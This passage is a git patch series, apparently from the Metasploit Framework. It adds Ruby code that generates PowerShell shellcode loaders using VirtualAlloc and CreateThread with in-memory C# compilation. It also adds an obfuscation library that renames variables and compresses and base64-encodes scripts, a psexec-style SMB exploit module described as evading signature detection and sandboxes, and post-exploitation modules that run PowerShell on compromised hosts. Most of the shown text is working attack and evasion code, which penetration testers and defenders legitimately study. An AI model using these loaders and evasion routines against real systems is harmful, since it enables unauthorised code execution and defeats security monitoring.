-		psh << "if ([Bool]!$#{var_baseaddr}) { $global:result = 3; return }\r\n"
-		psh << "[System.Runtime.InteropServices.Marshal]::Copy($#{var_code}, 0, $#{var_baseaddr}, $#{var_code}.Length)\r\n"
-		psh << "[IntPtr] $#{var_threadHandle} = [#{var_kernel32}.func]::CreateThread(0,0,$#{var_baseaddr},0,0,0)\r\n"
-		psh << "if ([Bool]!$#{var_threadHandle}) { $global:result = 7; return }\r\n"
-		psh << "$#{var_temp} = [#{var_kernel32}.func]::WaitForSingleObject($#{var_threadHandle}, [#{var_kernel32}.func+Time]::Infinite)\r\n"
-	end
-
-	def self.to_win32pe_psh(framework, code, opts={})
-
-		var_code = Rex::Text.rand_text_alpha(rand(8)+8)
-		var_win32_func = Rex::Text.rand_text_alpha(rand(8)+8)
-		var_payload = Rex::Text.rand_text_alpha(rand(8)+8)
-		var_size = Rex::Text.rand_text_alpha(rand(8)+8)
-		var_rwx = Rex::Text.rand_text_alpha(rand(8)+8)
-		var_iter = Rex::Text.rand_text_alpha(rand(8)+8)
-		code = code.unpack("C*")
-
-		# Add wrapper script
-		psh = "$#{var_code} = @\"\r\n"
-		psh << "[DllImport(\"kernel32.dll\")]\r\n"
-		psh << "public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);\r\n"
-		psh << "[DllImport(\"kernel32.dll\")]\r\n"
-		psh << "public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);\r\n"
-		psh << "[DllImport(\"msvcrt.dll\")]\r\n"
-		psh << "public static extern IntPtr memset(IntPtr dest, uint src, uint count);\r\n"
-		psh << "\"@\r\n"
-		psh << "$#{var_win32_func} = Add-Type -memberDefinition $#{var_code} -Name \"Win32\" -namespace Win32Functions -passthru\r\n"
-		# Set up the payload string
-		psh << "[Byte[]]$#{var_payload} = 0x#{code[0].to_s(16)}"
-		lines = []
-		1.upto(code.length-1) do |byte|
-			if(byte % 10 == 0)
-				lines.push "\r\n$#{var_payload} += 0x#{code[byte].to_s(16)}"
-			else
-				lines.push ",0x#{code[byte].to_s(16)}"
-			end
-		end
-		psh << lines.join("") + "\r\n\r\n"
-		psh << "$#{var_size} = 0x1000\r\n"
-		psh << "if ($#{var_payload}.Length -gt 0x1000) {$#{var_size} = $#{var_payload}.Length}\r\n"
-		psh << "$#{var_rwx}=$#{var_win32_func}::VirtualAlloc(0,0x1000,$#{var_size},0x40)\r\n"
-		psh << "for ($#{var_iter}=0;$#{var_iter} -le ($#{var_payload}.Length-1);$#{var_iter}++) {$#{var_win32_func}::memset([IntPtr]($#{var_rwx}.ToInt32()+$#{var_iter}), $#{var_payload}[$#{var_iter}], 1)}\r\n"
-		psh << "$#{var_win32_func}::CreateThread(0,0,$#{var_rwx},0,0,0)\r\n"
-
-
-	end
+        def self.to_win32pe_psh_net(framework, code, opts={})
+                var_code = Rex::Text.rand_text_alpha(rand(3)+2)
+                var_kernel32 = Rex::Text.rand_text_alpha(rand(3)+2)
+                var_baseaddr = Rex::Text.rand_text_alpha(rand(3)+2)
+                var_threadHandle = Rex::Text.rand_text_alpha(rand(3)+2)
+                var_output = Rex::Text.rand_text_alpha(rand(3)+2)
+                var_temp = Rex::Text.rand_text_alpha(rand(3)+2)
+                var_codeProvider = Rex::Text.rand_text_alpha(rand(3)+2)
+                var_compileParams = Rex::Text.rand_text_alpha(rand(3)+2)
+                var_syscode = Rex::Text.rand_text_alpha(rand(3)+2)
+                var_function = Rex::Text.rand_text_alpha_lower(rand(3)+2)
+
+                psh = "Set-StrictMode -Version 2\r\n"
+                # Configure the C# namespace
+                psh << "$#{var_syscode} = @\"\r\nusing System;\r\nusing System.Runtime.InteropServices;\r\n"
+                psh << "namespace #{var_kernel32} {\r\n"
+                psh << "public class #{var_function} {\r\n"
+                psh << "[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }\r\n"
+                psh << "[Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }\r\n"
+                psh << "[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }\r\n"
+                psh << "[DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);\r\n"
+                psh << "[DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);\r\n"
+                psh << "[DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);\r\n"
+                psh << "} }\r\n"
+                psh << "\"@\r\n\r\n"
+                # Creat the compiler and set options for in-memory compile
+                psh << "$#{var_codeProvider} = New-Object Microsoft.CSharp.CSharpCodeProvider\r\n"
+                psh << "$#{var_compileParams} = New-Object System.CodeDom.Compiler.CompilerParameters\r\n"
+                psh << "$#{var_compileParams}.ReferencedAssemblies.AddRange(@(\"System.dll\", [PsObject].Assembly.Location))\r\n"
+                psh << "$#{var_compileParams}.GenerateInMemory = $True\r\n"
+                psh << "$#{var_output} = $#{var_codeProvider}.CompileAssemblyFromSource($#{var_compileParams}, $#{var_syscode})\r\n\r\n"
+                # Generate our payload byte array
+                # My apologies to the formatting gods, but this type of payload
+                # is space constrained by cmd.exe's character limit.
+                # The usual convention for col-width in the payload variable is untenable here
+                psh << "[Byte[]]$#{var_code} = #{Rex::Text.to_hex(code).gsub('\x',',0x')[1..-1]}\r\n"
+                psh << "$#{var_baseaddr} = [#{var_kernel32}.#{var_function}]::VirtualAlloc(0, $#{var_code}.Length + 1, [#{var_kernel32}.#{var_function}+AllocationType]::Reserve -bOr [#{var_kernel32}.#{var_function}+AllocationType]::Commit, [#{var_kernel32}.#{var_function}+MemoryProtection]::ExecuteReadWrite)\r\n"
+                psh << "if ([Bool]!$#{var_baseaddr}) { $global:result = 3; return }\r\n"
+                psh << "[System.Runtime.InteropServices.Marshal]::Copy($#{var_code}, 0, $#{var_baseaddr}, $#{var_code}.Length)\r\n"
+                psh << "[IntPtr] $#{var_threadHandle} = [#{var_kernel32}.#{var_function}]::CreateThread(0,0,$#{var_baseaddr},0,0,0)\r\n"
+                psh << "if ([Bool]!$#{var_threadHandle}) { $global:result = 7; return }\r\n"
+                psh << "$#{var_temp} = [#{var_kernel32}.#{var_function}]::WaitForSingleObject($#{var_threadHandle}, [#{var_kernel32}.#{var_function}+Time]::Infinite) | Out-Null\r\n"
+        end 
+
+        def self.to_win32pe_psh(framework, code, opts={})
+
+                var_code = Rex::Text.rand_text_alpha(rand(3)+2)
+                var_win32_func = Rex::Text.rand_text_alpha(rand(3)+2)
+                var_payload = Rex::Text.rand_text_alpha(rand(3)+2)
+                var_size = Rex::Text.rand_text_alpha(rand(3)+2)
+                var_rwx = Rex::Text.rand_text_alpha(rand(3)+2)
+                var_iter = Rex::Text.rand_text_alpha(rand(3)+2)
+
+                # Add wrapper script
+                psh = "$#{var_code} = @\"\r\n"
+                psh << "[DllImport(\"kernel32.dll\")]\r\n"
+                psh << "public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);\r\n"
+                psh << "[DllImport(\"kernel32.dll\")]\r\n"
+                psh << "public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);\r\n"
+                psh << "[DllImport(\"msvcrt.dll\")]\r\n"
+                psh << "public static extern IntPtr memset(IntPtr dest, uint src, uint count);\r\n"
+                psh << "\"@\r\n"
+                psh << "$#{var_win32_func} = Add-Type -memberDefinition $#{var_code} -Name \"Win32\" -namespace Win32Functions -passthru\r\n"
+                # Set up the payload string, see psh_net for formatting reason
+                psh << "[Byte[]]$#{var_code} = #{Rex::Text.to_hex(code).gsub('\x',',0x')[1..-1]}\r\n"
+                psh << "$#{var_size} = 0x1000\r\n"
+                psh << "if ($#{var_payload}.Length -gt 0x1000) {$#{var_size} = $#{var_payload}.Length}\r\n"
+                psh << "$#{var_rwx}=$#{var_win32_func}::VirtualAlloc(0,0x1000,$#{var_size},0x40)\r\n"
+                psh << "for ($#{var_iter}=0;$#{var_iter} -le ($#{var_payload}.Length-1);$#{var_iter}++) {$#{var_win32_func}::memset([IntPtr]($#{var_rwx}.ToInt32()+$#{var_iter}), $#{var_payload}[$#{var_iter}], 1)}\r\n"
+                psh << "$#{var_win32_func}::CreateThread(0,0,$#{var_rwx},0,0,0)\r\n"
+
+
+        end
 
 	def self.to_win32pe_vbs(framework, code, opts={})
 		to_exe_vbs(to_win32pe(framework, code, opts), opts)
diff --git a/lib/rex/exploitation/powershell.rb b/lib/rex/exploitation/powershell.rb
new file mode 100644
index 000000000000..e2a6c125923e
--- /dev/null
+++ b/lib/rex/exploitation/powershell.rb
@@ -0,0 +1,412 @@
+# -*- coding: binary -*-
+
+require 'zlib'
+require 'rex/text'
+
+module Rex
+module Exploitation
+
+module Powershell
+
+	module Output
+
+		def to_s
+			code
+		end
+
+		def size
+			code.size
+		end
+
+		#
+		# Return code with numbered lines
+		#
+		def to_s_lineno
+			numbered = ''
+			code.split(/\r\n|\n/).each_with_index do |line,idx|
+				numbered << "#{idx}: #{line}"
+			end
+			return numbered
+		end
+
+		#
+		# Return a zlib compressed powershell code
+		#
+		def compress_code(eof = nil)
+			# Compress using the Deflate algorithm
+			compressed_stream = Rex::Text.gzip(code)
+
+			# Base64 encode the compressed file contents
+			encoded_stream = Rex::Text.encode_base64(compressed_stream)
+
+			# Build the powershell expression
+			# Decode base64 encoded command and create a stream object
+			psh_expression =  "$stream = New-Object IO.MemoryStream(,"
+			psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));"
+			# Uncompress and invoke the expression (execute)
+			psh_expression << "$(Invoke-Expression $(New-Object IO.StreamReader("
+			psh_expression << "$(New-Object IO.Compression.GzipStream("
+			psh_expression << "$stream,"
+			psh_expression << "[IO.Compression.CompressionMode]::Decompress)),"
+			psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());"
+
+			# If eof is set, add a marker to signify end of code output
+			#if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
+			psh_expression << "echo '#{eof}';" if eof
+
+			# Convert expression to unicode
+			unicode_expression = Rex::Text.to_unicode(psh_expression)
+
+			# Base64 encode the unicode expression
+			@code = Rex::Text.encode_base64(unicode_expression)
+
+			return code
+		end
+
+		#
+		# Reverse the compression process
+		#
+		def decompress_code
+			# Decode base64 and convert to ascii
+			raw = Rex::Text.decode_base64(code)
+			ascii_expression = Rex::Text.to_ascii(raw)
+			# Extract substring with payload
+			encoded_stream = ascii_expression.scan(/FromBase64String\('(.*)'/).flatten.first
+			# Decode and decompress the string
+			return Rex::Text.ungzip( Rex::Text.decode_base64(encoded_stream) )
+			# ::Zlib::Inflate.inflate( Rex::Text.decode_base64(encoded_stream) )
+		end
+	end
+
+	module Parser
+
+		#
+		# Get variable names from code, removes reserved names from return
+		#
+		def get_var_names
+			# Reserved special variables
+			# Acquired with: Get-Variable | Format-Table name, value -auto
+			res_vars = [
+				'$$',
+				'$?',
+				'$^',
+				'$_',
+				'$args',
+				'$ConfirmPreference',
+				'$ConsoleFileName',
+				'$DebugPreference',
+				'$Env',
+				'$Error',
+				'$ErrorActionPreference',
+				'$ErrorView',
+				'$ExecutionContext',
+				'$false',
+				'$FormatEnumerationLimit',
+				'$HOME',
+				'$Host',
+				'$input',
+				'$LASTEXITCODE',
+				'$MaximumAliasCount',
+				'$MaximumDriveCount',
+				'$MaximumErrorCount',
+				'$MaximumFunctionCount',
+				'$MaximumHistoryCount',
+				'$MaximumVariableCount',
+				'$MyInvocation',
+				'$NestedPromptLevel',
+				'$null',
+				'$OutputEncoding',
+				'$PID',
+				'$PROFILE',
+				'$ProgressPreference',
+				'$PSBoundParameters',
+				'$PSCulture',
+				'$PSEmailServer',
+				'$PSHOME',
+				'$PSSessionApplicationName',
+				'$PSSessionConfigurationName',
+				'$PSSessionOption',
+				'$PSUICulture',
+				'$PSVersionTable',
+				'$PWD',
+				'$ReportErrorShowExceptionClass',
+				'$ReportErrorShowInnerException',
+				'$ReportErrorShowSource',
+				'$ReportErrorShowStackTrace',
+				'$ShellId',
+				'$StackTrace',
+				'$true',
+				'$VerbosePreference',
+				'$WarningPreference',
+				'$WhatIfPreference'
+			].map(&:downcase)
+
+
+			our_vars = code.scan(/\$[a-zA-Z\-\_]+/).uniq.flatten.map(&:strip)
+			return our_vars.select {|v| !res_vars.include?(v)}
+		end
+
+		#
+		# Get function names from code
+		#
+		def get_func_names
+			return code.scan(/function\s([a-zA-Z\-\_]+)/).uniq.flatten
+		end
+
+		# Attempt to find string literals in PSH expression
+		def get_string_literals
+			code.scan(/@"(.*)"@|@'(.*)'@/)
+		end
+
+		#
+		# Scan code and return matches with index
+		#
+		def scan_with_index(str,source=code)
+			::Enumerator.new do |y|
+				source.scan(str) do
+					y << ::Regexp.last_match
+				end
+			end.map{|m| [m.to_s,m.offset(0)[0]]}
+		end
+
+		#
+		# Return matching backet type
+		#
+		def match_start(char)
+			case char
+			when '{'
+				'}'
+			when '('
+				')'
+			when '['
+				']'
+			when '<'
+				'>'
+			end
+		end
+
+		#
+		# Extract block of code between inside brackets/parens
+		#
+		# Attempts to match the bracket at idx, handling nesting manually
+		# Once the balanced matching bracket is found, all script content
+		# between idx and the index of the matching bracket is returned
+		#
+		def block_extract(idx)
+			start = code[idx]
+			stop = match_start(start)
+			delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/,code[idx+1..-1])
+			delims.map {|x| x[1] = x[1] + idx + 1}
+			c = 1
+			sidx = nil
+			# Go through delims till we balance, get idx
+			while not c == 0 and x = delims.shift do
+				sidx = x[1]
+				x[0] == stop ? c -=1 : c+=1
+			end
+			return code[idx..sidx]
+		end
+
+		def get_func(func_name, delete = false)
+			start = code.index(func_name)
+			idx = code[start..-1].index('{') + start
+			func_txt = block_extract(idx)
+			code.delete(ftxt) if delete
+			return Function.new(func_name,func_txt)
+		end
+	end # Parser
+
+	module Obfu
+
+		#
+		# Create hash of string substitutions
+		#
+		def sub_map_generate(strings)
+			map = {}
+			strings.flatten.each do |str|
+				map[str] = "$#{Rex::Text.rand_text_alpha(rand(2)+2)}"
+				# Ensure our variables are unique
+				while not map.values.uniq == map.values
+					map[str] = "$#{Rex::Text.rand_text_alpha(rand(2)+2)}"
+				end
+			end
+			return map
+		end
+
+		#
+		# Remove comments
+		#
+		def strip_comments
+			# Multi line
+			code.gsub!(/<#(.*?)#>/m,'')
+			# Single line
+			code.gsub!(/^#.*$|^\s+#.*$/,'')
+		end
+
+		#
+		# Remove whitespace
+		# This can break some codes using inline .NET
+		#
+		def strip_whitespace
+			code.gsub!(/\s+/,' ')
+		end
+
+
+		#
+		# Identify variables and replace them
+		#
+		def sub_vars
+			# Get list of variables, remove reserved
+			vars = get_var_names
+			# Create map, sub key for val
+			sub_map_generate(vars).each do |var,sub|
+				code.gsub!(var,sub)
+			end
+		end
+
+		#
+		# Identify function names and replace them
+		#
+		def sub_funcs
+			# Find out function names, make map
+			# Sub map keys for values
+			sub_map_generate(get_func_names).each do |var,sub|
+				code.gsub!(var,sub)
+			end
+		end
+
+		#
+		# Perform standard substitutions
+		#
+		def standard_subs(subs = %w{strip_comments strip_whitespace sub_funcs sub_vars} )
+			# Save us the trouble of breaking injected .NET and such
+			subs.delete('strip_whitespace') unless string_literals.empty?
+			# Run selected modifiers
+			subs.each do |modifier|
+				self.send(modifier)
+			end
+			code.gsub!(/^$|^\s+$/,'')
+			return code
+		end
+
+	end # Obfu
+
+	class Param
+		attr_accessor :klass, :name
+		def initialize(klass,name)
+			@klass = klass.strip.gsub(/\[|\]|\s/,'')
+			@name = name.strip.gsub(/\s|,/,'')
+		end
+
+		def to_s
+			"[#{klass}]$#{name}"
+		end
+	end
+
+	class Function
+		attr_accessor :code, :name, :params
+
+		include Output
+		include Parser
+		include Obfu
+
+		def initialize(name,code)
+			@name = name
+			@code = code
+			populate_params
+		end
+		def to_s
+			"function #{name} #{code}"
+		end
+
+		def populate_params
+			@params = []
+			start = code.index(/param\s+\(|param\(/im)
+			return unless start
+			# Get start of our block
+			idx = scan_with_index('(',code[start..-1]).first.last + start
+			pclause = block_extract(idx)
+			# Keep lines which declare a variable of some class
+			vars = pclause.split(/\n|;/).select {|e| e =~ /\]\$\w/}
+			vars.map! {|v| v.split('=',2).first}.map(&:strip)
+			# Ignore assignment, create params with class and variable names
+			vars.map {|e| e.split('$')}.each do |klass,name|
+				@params << Param.new(klass,name)
+			end
+		end
+	end
+
+	class Script
+		attr_accessor :code
+		attr_reader :functions
+
+		include Output
+		include Parser
+		include Obfu
+		# Pretend we are actually a string
+		extend Forwardable
+		# In case someone messes with String we delegate based on its instance methods
+		eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}|
+
+		# def method_missing(meth, *args, &block)
+		#   code.send(meth,*args,&block) || (raise NoMethodError.new, meth)
+		# end
+
+		def initialize(code)
+			@code = ''
+			begin
+				# Open code file for reading
+				fd = ::File.new(code, 'rb')
+				while (line = fd.gets)
+					@code << line
+				end
+
+				# Close open file
+				fd.close
+			rescue Errno::ENAMETOOLONG, Errno::ENOENT
+				# Treat code as a... code
+				@code = code.to_s.dup # in case we're eating another script
+			end
+			@functions = get_func_names.map {|f| get_func(f)}
+		end
+
+
+		##
+		# Class methods
+		##
+
+		#
+		# Build a byte array to load into powershell code
+		#
+		def self.build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
+			code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
+			code = code.unpack('C*')
+			psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
+			lines = []
+			1.upto(code.length-1) do |byte|
+				if(byte % 10 == 0)
+					lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
+				else
+					lines.push ",0x#{code[byte].to_s(16)}"
+				end
+			end
+			psh << lines.join("") + "\r\n"
+		end
+
+		def self.psp_funcs(dir)
+			scripts = Dir.glob(File.expand_path(dir) + '/**/*').select {|e| e =~ /ps1$|psm1$/}
+			functions = scripts.map {|s| puts s; Script.new(s).functions}
+			return functions.flatten
+		end
+
+		#
+		# Return list of code modifier methods
+		#
+		def self.code_modifiers
+			self.instance_methods.select {|m| m =~ /^(strip|sub)/}
+		end
+	end # class Script
+
+end
+end
+end
diff --git a/modules/exploits/windows/smb/psexec_psh.rb b/modules/exploits/windows/smb/psexec_psh.rb
new file mode 100644
index 000000000000..d938829aec00
--- /dev/null
+++ b/modules/exploits/windows/smb/psexec_psh.rb
@@ -0,0 +1,104 @@
+# -*- coding: binary -*-
+
+require 'msf/core'
+require 'msf/core/exploit/powershell'
+
+class Metasploit3 < Msf::Exploit::Remote
+		Rank = ManualRanking
+
+	# Exploit mixins should be called first
+	include Msf::Exploit::Remote::SMB::Psexec
+	include Msf::Exploit::Powershell
+	include Msf::Auxiliary::Report
+	include Msf::Exploit::EXE
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Microsoft Windows Authenticated Powershell Command Execution',
+			'Description'    => %q{
+					This module uses a valid administrator username and password to execute a powershell
+				payload using a similar technique to the "psexec" utility provided by SysInternals. The
+				payload is obfuscated, zlib compressed, then encoded in base64 and executed from the commandline
+				using the -encodedcommand flag. Using this method, the payload is never written to disk, and
+				given that each payload is unique, is not prone to signature based detection.
+				Since executing shellcode in .NET requires the use of system resources from unmanaged memory space,
+				the .NET (PSH) architecture must match that of the payload. Lastly, a persist option is provided
+				to execute the payload in a while loop in order to maintain a form of persistence. In the event
+				of a sandbox observing PSH execution, a delay and other obfuscation may be added to avoid detection.
+				In order to avoid interactive process notifications for the current user, the psh payload has
+				been reduced in size and wrapped in a powershell invocation which hides the window entirely.
+			},
+
+			'Author'         => [
+				'RageLtMan <rageltman[at]sempervictus'
+			],
+
+			'License'        => MSF_LICENSE,
+			'Privileged'     => true,
+			'DefaultOptions' =>
+				{
+					'WfsDelay'     => 10,
+					'EXITFUNC' => 'thread'
+				},
+			'Payload'        =>
+				{
+					'Space'        => 8192,
+					'DisableNops'  => true,
+					'StackAdjustment' => -3500
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'Automatic', { } ],
+				],
+			'DefaultTarget'  => 0,
+			'References'     => [
+				[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
+				[ 'OSVDB', '3106'],
+				[ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ],
+				[ 'URL', 'http://sourceforge.net/projects/smbexec/' ],
+				[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
+			]
+		))
+
+		register_options([
+			OptBool.new('PERSIST', [false, 'Run the payload in a loop']),
+			OptBool.new('PSH_OLD_METHOD', [false, 'Use powershell 1.0', false]),
+			OptBool.new('DryRun',[false,'dry run',false]),
+		], self.class)
+	end
+
+
+	def exploit
+		command = cmd_psh_payload(payload.encoded,datastore['PSH_OLD_METHOD'])
+		if datastore['DryRun']
+			print_good command
+			return
+		end
+
+		#Try and authenticate with given credentials
+		if connect
+			begin
+				smb_login
+			rescue StandardError => autherror
+				print_error("#{peer} - Unable to authenticate with given credentials: #{autherror}")
+				return
+			end
+			# Execute the powershell command
+			begin
+				print_status("#{peer} - Executing the payload...")
+				#vprint_good(command)
+				return psexec(command)
+			rescue StandardError => exec_command_error
+				print_error("#{peer} - Unable to execute specified command: #{exec_command_error}")
+				return false
+			end
+			disconnect
+		end
+	end
+
+	def peer
+		return "#{rhost}:#{rport}"
+	end
+
+end
diff --git a/modules/post/windows/manage/powershell/exec_cmd.rb b/modules/post/windows/manage/powershell/exec_cmd.rb
new file mode 100644
index 000000000000..08a491e160a7
--- /dev/null
+++ b/modules/post/windows/manage/powershell/exec_cmd.rb
@@ -0,0 +1,77 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+#   http://metasploit.com/framework/
+##
+
+##
+# Original script comments by nick[at]executionflow.org:
+# Meterpreter script to deliver and execute powershell scripts using
+# a compression/encoding method based on the powershell PoC code
+# from rel1k and winfang98 at DEF CON 18. This script furthers the
+# idea by bypassing Windows' command character lmits, allowing the
+# execution of very large scripts. No files are ever written to disk.
+##
+require 'msf/core'
+require 'rex'
+require 'msf/core/post/windows/powershell'
+
+class Metasploit3 < Msf::Post
+	include Msf::Post::Windows::Powershell
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name'                 => "Powershell: Execute Command",
+			'Description'          => %q{
+				This module will execute a string of Powershell and return output.
+			},
+			'License'              => MSF_LICENSE,
+			'Platform'             => ['win'],
+			'SessionTypes'         => ['meterpreter'],
+			'Author'               => [
+				'Nicholas Nam (nick[at]executionflow.org)', # original meterpreter script
+				'RageLtMan' # post module
+				]
+		))
+
+		register_options(
+			[
+				OptString.new( 'PSH_CMD',  [true, 'Powershell string to execute', "echo 'metasploited'"]),
+			], self.class)
+
+		register_advanced_options(
+			[
+				OptString.new('SUBSTITUTIONS', [false, 'Script subs in gsub format - original,sub;original,sub' ]),
+			], self.class)
+
+	end
+
+	def run
+
+		# Make sure we meet the requirements before running the script, note no need to return
+		# unless error
+		return 0 if ! (session.type == "meterpreter" || have_powershell?)
+
+		# check/set vars
+		subs = process_subs(datastore['SUBSTITUTIONS'])
+		script_in = read_script(datastore['PSH_CMD'])
+
+		# Make substitutions in script if needed
+		script_in = make_subs(script_in, subs) unless subs.empty?
+ 		print_status(script_in)
+		print_status(script_in.dup.compress_code)
+
+		# Execute the powershell script
+		print_status('Executing the script.')
+
+		ps_output = psh_exec(script_in)
+
+		print_status ps_output
+
+		# That's it
+		print_good('Finished!')
+	end
+
+end
+
diff --git a/modules/post/windows/manage/powershell/exec_script.rb b/modules/post/windows/manage/powershell/exec_script.rb
new file mode 100644
index 000000000000..ecbab8a9fc52
--- /dev/null
+++ b/modules/post/windows/manage/powershell/exec_script.rb
@@ -0,0 +1,90 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+#   http://metasploit.com/framework/
+##
+
+##
+# Original script comments by nick[at]executionflow.org:
+# Meterpreter script to deliver and execute powershell scripts using
+# a compression/encoding method based on the powershell PoC code
+# from rel1k and winfang98 at DEF CON 18. This script furthers the
+# idea by bypassing Windows' command character lmits, allowing the
+# execution of very large scripts. No files are ever written to disk.
+##
+
+##
+# Since the original port to Metasploit, the implementation has grown
+# to include partial PSH syntax parsing, gzip compression, rex, msf,
+# and post modules providing various layers of functionality and
+# convenience methods.
+##
+
+require 'msf/core'
+require 'rex'
+require 'msf/core/post/windows/powershell'
+
+class Metasploit3 < Msf::Post
+	include Msf::Post::Windows::Powershell
+
+	def initialize(info={})
+		super(update_info(info,
+      'Name'                 => "Powershell: Execute Command",
+      'Description'          => %q{
+        This module will execute a Powershell script and return output
+			},
+			'License'              => MSF_LICENSE,
+			'Platform'             => ['win'],
+			'SessionTypes'         => ['meterpreter'],
+			'Author'               => [
+				'Nicholas Nam (nick[at]executionflow.org)', # original meterpreter script
+				'RageLtMan' # post module
+				]
+		))
+
+		register_options(
+			[
+				OptPath.new( 'SCRIPT',  [true, 'Path to the PS script', ::File.join(Msf::Config.install_root, "scripts", "ps", "msflag.ps1") ]),
+				OptString.new( 'PSH_CMD', [false, 'Powershell to execute after the script']),
+			], self.class)
+
+		register_advanced_options(
+			[
+				OptString.new('SUBSTITUTIONS', [false, 'Script subs in gsub format - original,sub;original,sub' ]),
+				OptBool.new(  'DELETE',        [false, 'Delete file after execution', false ]),
+			], self.class)
+
+	end
+
+	def run
+
+		# Make sure we meet the requirements before running the script, note no need to return
+		# unless error
+		return 0 if ! (session.type == "meterpreter" || have_powershell?)
+
+		# check/set vars
+		subs = process_subs(datastore['SUBSTITUTIONS'])
+		script_in = read_script(datastore['SCRIPT'])
+		if datastore['PSH_CMD']
+			script_in = read_script(script_in + "\n#{datastore['PSH_CMD']}")
+		end
+		
+
+		# Make substitutions in script if needed
+		script_in = make_subs(script_in, subs) unless subs.empty?
+		vprint_status(script_in)
+
+		# Execute the powershell script
+		print_status('Executing the script.')
+
+		ps_output = psh_exec(script_in)
+
+		print_good ps_output
+
+		# That's it
+		print_good('Finished!')
+	end
+
+end
+

From cd14569dcf957d2f710ff3fa68ab8c0e606fa9b3 Mon Sep 17 00:00:00 2001
From: RageLtMan <rageltman [at] sempervictus>
Date: Sat, 20 Jul 2013 19:26:03 -0400
Subject: [PATCH 003/108] Revert "post/local_admin_search_enum~Regex
 fails,module 2"

@g0tm1lk: no clue, you must've pwned me in your sl33p. :)
---
 .../post/windows/gather/local_admin_search_enum.rb | 14 ++++----------
 1 file changed, 4 insertions(+), 10 deletions(-)

diff --git a/modules/post/windows/gather/local_admin_search_enum.rb b/modules/post/windows/gather/local_admin_search_enum.rb
index 1e405d966943..72cfcc8d7fb7 100644
--- a/modules/post/windows/gather/local_admin_search_enum.rb
+++ b/modules/post/windows/gather/local_admin_search_enum.rb
@@ -21,7 +21,7 @@ def initialize(info={})
 		super(update_info(info,
 			'Name'         => 'Windows Gather Local Admin Search',
 			'Description'  => %q{
-				This module will identify systems in a given range that the
+					This module will identify systems in a given range that the
 				supplied domain user (should migrate into a user pid) has administrative
 				access to by using the Windows API OpenSCManagerA to establishing a handle
 				to the remote host. Additionally it can enumerate logged in users and group
@@ -80,16 +80,10 @@ def setup
 
 				# Check if RSOP data exists, if not disable group check
 				unless res =~ /does not have RSOP data./
-					dc_applied = /Group Policy was applied from:\s*(.*)\s*/.match(res)
-					if dc_applied
-						@domain_controller = dc_applied[1].strip
-					else
-						@dc_error = true
-						print_error("Could not read RSOP data, will not enumerate users and groups. Manually specify DC.")
-					end
+					@domain_controller = /Group Policy was applied from:\s*(.*)\s*/.match(res)[1].chomp
 				else
 					@dc_error = true
-					print_error("User never logged into device, will not enumerate users and groups. Manually specify DC.")
+					print_error("User never logged into device, will not enumerate groups or manually specify DC.")
 				end
 			end
 		end
@@ -261,4 +255,4 @@ def db_loot(host, user, type)
 		p = store_loot(type, 'text/plain', host, "#{host}:#{user}", 'hosts_localadmin.txt', user)
 		vprint_status("User data stored in: #{p}")
 	end
-end
+end
\ No newline at end of file

From eb185375f71e6b4b8e4d63392143589ba983509e Mon Sep 17 00:00:00 2001
From: RageLtMan <rageltman [at] sempervictus>
Date: Sat, 20 Jul 2013 19:31:26 -0400
Subject: [PATCH 004/108] Trim to core requirements

Remove .NET compiler, post lib and modules.
---
 lib/msf/core/exploit/powershell/dot_net.rb    | 172 -----------
 lib/msf/core/post/windows/powershell.rb       | 292 ------------------
 .../windows/manage/powershell/exec_cmd.rb     |  77 -----
 .../windows/manage/powershell/exec_script.rb  |  90 ------
 4 files changed, 631 deletions(-)
 delete mode 100644 lib/msf/core/exploit/powershell/dot_net.rb
 delete mode 100644 lib/msf/core/post/windows/powershell.rb
 delete mode 100644 modules/post/windows/manage/powershell/exec_cmd.rb
 delete mode 100644 modules/post/windows/manage/powershell/exec_script.rb

diff --git a/lib/msf/core/exploit/powershell/dot_net.rb b/lib/msf/core/exploit/powershell/dot_net.rb
deleted file mode 100644
index 0369a7bd9ac3..000000000000
--- a/lib/msf/core/exploit/powershell/dot_net.rb
+++ /dev/null
@@ -1,172 +0,0 @@
-# -*- coding: binary -*-
-
-module Msf
-  module Exploit::Powershell
-    module DotNet
-
